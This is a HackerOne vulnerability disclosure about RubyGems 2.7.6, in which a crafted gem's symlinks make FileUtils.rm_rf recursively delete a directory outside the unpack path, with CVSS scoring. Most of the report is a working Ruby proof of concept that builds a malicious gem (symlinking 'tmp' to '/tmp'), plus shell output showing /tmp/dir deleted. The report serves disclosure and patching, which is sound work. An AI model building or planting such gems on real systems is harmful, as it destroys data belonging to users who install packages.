Lucene search

K
hackeroneOoooooo_qH1:317321
HistoryFeb 18, 2018 - 10:55 a.m.

RubyGems: Delete directory using symlink when decompressing tar

2018-02-1810:55:08
ooooooo_q
hackerone.com
$500
27

7.4 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H

8.8 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:N/I:C/A:C

0.005 Low

EPSS

Percentile

72.7%

In 2.7.6, the safety of symlink is confirmed with mkdir_p_safe,
Before that FileUtils.rm_rf destination is running.
Therefore, if tmp/dir is specified after tmp -> /tmp, the following /tmp/dir is deleted.

Proof of concept

builder.rb

require 'rubygems/package'

class GemBuiler

   def initialize spec, path
    @_build_time      = Time.now
    @_checksums       = {}
    @_signer          = Gem::Security::Signer.new nil, nil, ""
    @_spec            = spec
    @_path            = path
  end

  def build &block
    Gem.load_yaml
    require 'rubygems/security'

    @_spec.mark_version

    File.open @_path, 'wb' do |gem_io|
      Gem::Package::TarWriter.new gem_io do |gem|
        add_metadata gem
        add_contents gem, &block
        add_checksums gem
      end
    end
  end

  def add_checksums tar
    Gem.load_yaml

    checksums_by_algorithm = Hash.new { |h, algorithm| h[algorithm] = {} }

    @_checksums.each do |name, digests|
      digests.each do |algorithm, digest|
        checksums_by_algorithm[algorithm][name] = digest.hexdigest
      end
    end

    tar.add_file_signed 'checksums.yaml.gz', 0444, @_signer do |io|
      gzip_to io do |gz_io|
        YAML.dump checksums_by_algorithm, gz_io
      end
    end
  end

  def add_contents tar, &block
    digests = tar.add_file_signed 'data.tar.gz', 0444, @_signer do |io|
      gzip_to io do |gz_io|
        Gem::Package::TarWriter.new gz_io, &block
      end
    end

    @_checksums['data.tar.gz'] = digests
  end

  def add_metadata tar 
    digests = tar.add_file_signed 'metadata.gz', 0444, @_signer do |io|
      gzip_to io do |gz_io|
        gz_io.write @_spec.to_yaml
      end
    end

    @_checksums['metadata.gz'] = digests
  end

  def gzip_to io
    gz_io = Zlib::GzipWriter.new io, Zlib::BEST_COMPRESSION
    gz_io.mtime = @_build_time

    yield gz_io
  ensure
    gz_io.close
  end
end

spec = Gem::Specification.new do |s|
  s.name    = 'hello'
  s.version = '0.0.1'
  s.summary = 'hello summary'
  s.author= "test"
end


# create evil gem

rm = GemBuiler.new(spec, "rm_dir.gem")
rm.build do |data_tar|
  data_tar.add_symlink "tmp", "/tmp", 16877
  data_tar.add_symlink "tmp/dir", ".", 16877
end

execute

$ ls /tmp/dir
file

$ ruby builder.rb

$ gem unpack rm_dir.gem
ERROR:  While executing gem ... (Gem::Package::PathError)
    installing into parent path tmp/dir of /xxx/yyy/zzz/... is not allowed

$ ls /tmp/dir
ls: /tmp/dir: No such file or directory

Impact

Unrelated directories will be deleted when unpacking or installing a specially crafted gem.
Since mkdir_p_safe produces an error, only one can be specified, but it will be deleted recursively.

7.4 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H

8.8 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:N/I:C/A:C

0.005 Low

EPSS

Percentile

72.7%